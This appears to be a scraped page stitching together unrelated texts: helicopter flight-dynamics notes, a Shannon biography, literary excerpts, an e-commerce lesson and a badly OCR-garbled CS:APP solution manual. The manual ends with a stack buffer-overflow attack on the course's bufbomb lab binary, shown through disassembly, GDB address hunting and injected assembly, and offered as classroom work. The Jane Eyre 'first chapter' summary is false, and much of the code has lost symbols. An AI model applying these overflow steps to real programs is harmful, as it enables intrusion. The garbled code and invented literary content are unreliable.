Definition of Helicopter Flight Dynamics
The subject of studying external forces applied on helicopter as well as motions and controls
External Forces: Only those changing flight path such as aerodynamic, inertial and gravity forces. Motions: Accelerations(angular acceleration), velocities and position Controls: Pilot controls from cockpit, augment stability and control Flight qualities: Specification and flight quality assessment

Characteristics of Helicopter Flight
1. There are 6 freedoms of motion in space, But there are only 4 controls. Therefore the control for each freedom of motion is not independent. The response of helicopter to controls is coupled. The crosscoupling between axes is serious and needs to be removed by pilot controls or SCAS. The controls for heaving, pitch and roll motions are implemented by blade flapping motion. Thus the delay of helicopter response to pilot controls is greater than that of fixed-wing aircraft. The flight qualities of helicopter is poorer than that of fixed-wing aircraft The flight dynamics of helicopter is more complicated than fixedwing aircraft

Shannon joined AT&T Bell Telephones in New Jersey in 1941 as a research mathematician and remained at the Bell Laboratories until 1972. Johnson writes in [4] that Shannon:... became known for keeping to himself by day and riding his unicycle down the halls at night. D Slepian, a colleague at the Bell Laboratories wrote:Many of us brought our lunches to work and played mathematical blackboard games but Claude rarely came. He worked with his door closed, mostly. But if you went in, he would be very patient and help you along. He could grasp a problem in zero time. He really was quite a genius. He's the only person I know whom I'd apply that word to. Marvin Minsky described Shannon as follows:Whatever came up, he engaged it with joy, and he attacked it with some surprising resource which might be some new kind of technical concept or a hammer and saw with some scraps of wood. For him, the harder a problem might seem, the better the chance to find something new.

完整英文版《第二性》The-Second-Sex

完整英文版《第二性》The-Second-SexThe Second Sexby Simone de Beauvoir (1949)Book One: Facts and Myths, Part I: DestinyChapter 1, The Data of BiologyWOMAN? Very simple, say the fanciers of simple formulas: she is a womb, an ovary; she is a female –this word is sufficient to define her. In the mouth of a man the epithet female has the sound of an insult, yet he is not ashamed of his animal nature; on the contrary, he is proud if someone says of him: ‘He is a male!’ The term ‘female’ is derogatory not because it emphasises woman’s ani mality, but because it imprisons her in her sex; and if this sex seems to man to be contemptible and inimical even in harmless dumb animals, it is evidently because of the uneasy hostility stirred up in him by woman. Nevertheless he wishes to find in biology a justification for this sentiment. The word female brings up in his mind a saraband of imagery –a vast, round ovum engulfs and castrates the agile spermatozoan; the monstrous and swollen termite queen rules over the enslaved males; the female praying mantis and the spider, satiated with love, crush and devour their partners; the bitch in heat runs through the alleys, trailing behind her a wake of depraved odours; the she-monkey presents posterior immodestly and then steals away with hypocritical coquetry; and the most superb wild beasts –the tigress, the lioness, the panther – bed down slavishly under the imperial embrace of the male. Females sluggish, eager, artful, stupid, callous, lustful, ferocious, abased – man projects them all at once upon woman. And the fact is that she is a female. But if we are willing to stop thinking in platitudes, two questions areimmediately posed: what does the female denote in the animal kingdom? And what particular kind of female is manifest in woman?Males and females are two types of individuals which are differentiated within a species for the function of reproduction; they can be defined only correlatively. But first it must be noted that even the division of a species into two sexes is not always clear-cut.In nature it is not universally manifested. To speak only of animals, it is well known that among the microscopic one-celled forms –infusoria, amoebae, sporozoans, and the like –multiplication is fundamentally distinct from sexuality. Each cell divides and subdivides by itself. In many-celled animals or metazoans reproduction may take place asexually, either by schizogenesis –that is, by fission or cutting into two or more parts which become new individuals – or by blastogenesis – that is, by buds that separate and form new individuals. The phenomena of budding observed in the fresh-water hydra and other coelenterates, in sponges, worms, and tunicates, are well-known examples. In cases of parthenogenesis the egg of the virgin female develops into an embryo without fertilisation by the male, which thus may play no role at all. In the honey-bee copulation takes place, but the eggs may or may not be fertilised at the time of laying. The unfertilised eggs undergo development and produce the drones (males); in the aphids males are absent during a series of generations in which the eggs are unfertilised and produce females. Parthenogenesis has been induced artificially in the sea urchin, the starfish, the frog, and other species. Among the one-celled animals (Protozoa), however, two cells may fuse, forming whatis called a zygote; and in the honey-bee fertilisation is necessary if the eggs are to produce females. In the aphids both males and females appear in the autumn, and the fertilised eggs then produced are adapted for over-wintering.Certain biologists in the past concluded from these facts that even in species capable of asexual propagation occasional fertilisation is necessary to renew the vigour of the race –to accomplish ‘rejuvenation’ through the mixing of her editary material from two individuals. On this hypothesis sexuality might well appear to be an indispensable function in the most complex forms of life; only the lower organisms could multiply without sexuality, and even here vitality would after a time become exhausted. But today this hypothesis is largely abandoned; research has proved that under suitable conditions asexual multiplication can go on indefinitely without noticeable degeneration, a fact that is especially striking in the bacteria and Protozoa. More and more numerous and daring experiments in parthenogenesis are being performed, and in many species the male appears to be fundamentally unnecessary. Besides, if the value of intercellular exchange were demonstrated, that value would seem to stand as a sheer, unexplained fact. Biology certainly demonstrates the existence of sexual differentiation, but from the point of view of any end to be attained the science could not infer such differentiation from the structure of the cell, nor from the laws of cellular multiplication, nor from any basic phenomenon.The production of two types of gametes, the sperm and the egg, does not necessarily imply the existence of two distinct sexes; as a matter of fact, egg and sperm –two highly differentiated types of reproductive cells –may both beproduced by the same individual. This occurs in normally hermaphroditic species, which are common among plants and are also to be found among the lower animals, such as annelid worms and molluscs. In them reproduction may be accomplished through self-fertilisation or, more commonly, cross-fertilisation. Here again certain biologists have attempted to account for the existing state of affairs. Some hold that the separation of the gonads (ovaries and testes) in two distinct individuals represents an evolutionary advance over hermaphroditism; others on the contrary regard the separate condition as primitive, and believe that hermaphroditism represents a degenerate state. These notions regarding the superiority of one system or the other imply the most debatable evolutionary theorising. All that we can say for sure is that these two modes of reproduction coexist in nature, that they both succeed in accomplishing the survival of the species concerned, and that the differentiation of the gametes, like that of the organisms producing them, appears to be accidental. It would seem, then, that the division of a species into male and female individuals is simply an irreducible fact of observation.In most philosophies this fact has been taken for granted without pretence of explanation. According to the Platonic myth, there were at the beginning men, women, and hermaphrodites. Each individual had two faces, four arms, four legs, and two conjoined bodies. At a certain time they were split in two, and ever since each half seeks to rejoin its corresponding half. Later the gods decreed that new human beings should be created through the coupling of dissimilar halves. But it is only love that this story is intended to explain; division into sexes is assumed at the outset. Nor does。

《小王子》Chapter1[第一章]Once when I was six years old I saw a magnificent picture in a book,called True Stories from Nature,about the primeval forest.it was a picture of a boa constrictor in the act of swallowing an animal.Here is a copy of the drawing:我六岁那年,有一次,在一本书里看见一幅很棒的图画,那本书叫《亲身经历的故事》,写原始森林。

那幅图画上,一条大蟒蛇正在吞吃一头猛兽。

我把它描了下来。

In the book it said: “Boa constrictors swallow their prey whole, without chewing it. After that they are not able to move, and they sleep through the six months that they need for digestion.”书里写着:“大蟒蛇把猎物整个吞下,嚼都不嚼。

然后,它动弹不了,它得睡上整整六个月,才能消化肚子里的东西。

”I pondered(沉思)deeply, then, over the adventures of the jungle. And after some work with a coloured pencil I succeeded in making my first drawing. My Drawing Number One. It looked like this:对原始森林的探险,我当时想得很多。

于是,我也用一支彩色铅笔,画出了我的第一张画。

画作第1号。

就像这样:I showed my masterpiece to the grown-ups, and asked them whether the drawing frightened them.我把我的杰作拿给大人们看,问他们:“我的画是不是让你们很害怕?”But they answered: “Frighten? Why should anyone be frightened by a hat?”他们回答:“一顶帽子有什么好怕的?”My drawing was not a picture of a hat. It was a picture of a boa constrictor digesting an elephant. But since the grown-ups were not able to understand it, I made another drawing. I drew the inside of the boa constrictor, so that the grown-ups could see it clearly. They always need to have things explained. My Drawing Number Two looked like this:可我画的不是帽子呀。

简爱英文版第一章

简爱英文版第一章The Reading of Jane Eyre: An Interpretation of the First Chapter1.Background Introduction'Jane Eyre' is a classic work of English literature written by Charlotte Brontë. It was first published in 1847 under the pen name 'Currer Bell', one of three female writers who used male pen names at that time in order to circumvent the social constraints of Victorian England. The novel, set in the 19th century, tells the story of Jane Eyre, an orphaned girl who struggles through difficult times and eventually finds love and happiness. 'Jane Eyre' is considered a classic of English literature, recognized for its powerful narrative, complex characters, and thematic explorations of gender, class, and religion.2.Content Overview of the First ChapterThe first chapter of 'Jane Eyre' opens with a vivid description of Thornfield Hall, a lonely mansion in the English countryside. It is evening, and the reader is introduced to Jane Eyre, a thoughtful and self-reliant young girl. She stands at the gate of the Hall, watching a group of Gytrash, a legendary creature that appears in Yorkshire folklore as a fearsome dog or horse. This sets the scene for Jane's characterization as a strong-willed and independent-minded person, unafraid of facing challenges.3.Theme and MeaningThe theme of this chapter is the exploration of female agency and autonomy. Through Jane's reaction to her environment and her resolute refusal to fear the Gytrash, Brontësuggests that women have the potential to face and overcome adversity. This theme continues throughout the novel as Jane faces difficulties and 力争女主的地位 opportunities. Additionally, this chapter introduces the idea of female independence and self-reliance, which will become recurring themes throughout the novel.4.English Expression and Rhetorical DevicesCharlotte Brontë's powerful writing style utilizes a range of English expressions and rhetorical devices. In the first chapter, Brontë uses metaphors and personification to describe Jane's courage and resolve. For example, she compares Jane to a "tightly-compressed spring" that is "strained to the utmost tension" (Brontë3), suggesting Jane's resilience and energy. Personification is seen in Brontë's description of Thornfield Hall as a "frowning giant" (Brontë 3), which gives the mansion a sense of power and intimidation.5.Reading Difficulties and SolutionsOne possible difficulty readers may encounter in this chapter is the use of archaic language and Victorian cultural references. However, by placing yourselfin the context of 19th-century England and familiarizing yourself with the cultural norms and language usage, you can better understand the novel's characters and themes. Another challenge could be Brontë's poetic language and imagery, which can be dense and layered. Close reading and rereading passages with an eye for detail can help unpack these layers.6.Reflection and InsightReading the first chapter of 'Jane Eyre' has provided me with a deeper understanding of Charlotte Brontë's themes and style. The exploration of female agency and autonomy has resonated with me personally, as it encourages me to embody a similar spirit in my own life. Additionally, Brontë's use of language and imagery has shown me how powerful words can be in evoking emotion and creating vivid pictures in the reader's mind. I have also gained a new appreciation for English literature after understanding more about the cultural and historical context of 'Jane Eyre'.总的来说,《简爱》第一章以其丰富的情感、复杂的角色和生动的描绘吸引了读者的注意力。

the order will be up to 70% if the seller can respond to the buyer’s inquiry within 1 hour.”
PART 1 Warming-up
PART 2 Passage Reading
As for product specifications and size issues, the seller will generally describe on the product details page, but it does not exclude some buyers who will ignore this information. In the event of inquiries about product specifications and size, the seller should repeat the detailed specifications and size of the product and guide the buyer to confirm the specifications and size on the product details page again. In addition, some products of Cross-border Ecommerce are for domestic sales, so there will be size issues, especially for products like clothing and shoes. There are many disputes arising from different size standards, so it is a troublesome problem for many sellers. How to avoid such disputes? In addition to carefully set the size chart, the seller should respond the size questions in details and with patience, which will play a significant role in avoiding disputes and improving customer experience and satisfaction.

深⼊理解计算机系统答案(超⾼清电⼦版)Computer Systems:A Programmer’s Perspective Instructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20032Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK

for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not de?ne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x</doc/dde1f034f111f18583d05a59.html pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signi?cant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time. 4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive/doc/dde1f034f111f18583d05a59.html ing C notation,if we de?ne y to be x-1,then we have?y+1equal to-y,and hence?y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.The?nal term has no effect on the-bit representation of,but the middle term represents

arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..((1<B..((1<Problem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly

They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will compute?rst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also set1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt); 1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/ 2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer over?ow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return a? xed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call804847098048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3retWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.We?nd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.We?nd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will over?ow into the stack frame for test,but they will not affect the program behavior.
